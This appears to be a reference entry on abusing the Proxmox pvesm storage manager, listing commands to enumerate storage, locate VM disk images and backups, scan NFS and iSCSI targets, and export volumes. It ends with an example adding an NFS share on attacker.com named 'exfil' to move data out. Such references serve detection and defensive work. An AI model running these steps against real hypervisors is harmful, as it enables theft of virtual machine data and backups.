pvesm (Proxmox VE Storage Manager) manages storage resources in Proxmox VE including local, NFS, iSCSI, Ceph, and ZFS storage. Adversaries can use pvesm to enumerate storage infrastructure, locate VM disk images and backups, and identify sensitive data locations for exfiltration.
/usr/sbin/pvesmDisplay status of all storage resources including type, content types, and available space.
pvesm status
pvesm statuspvesm status --output-format=json-prettyList contents of a specific storage showing VM images, templates, backups, and ISOs.
pvesm list {storage}
pvesm list localpvesm list local-lvmpvesm list local --content backupGet the filesystem path for a storage volume.
pvesm path {storage}:{content}/{volname}
pvesm path local:backup/vzdump-qemu-100-2024_01_01-00_00_00.vma.zstScan an NFS server for available exports.
pvesm scan nfs {server}
pvesm scan nfs 192.168.1.100pvesm nfsscan 192.168.1.100Scan an iSCSI portal for available targets.
pvesm scan iscsi {portal}
Export a storage volume to a file.
pvesm export {volume} {format} {filename}
Add a new storage resource to Proxmox.
pvesm add {type} {storage} --path {path}
pvesm add nfs exfil --server attacker.com --export /data --path /mnt/exfil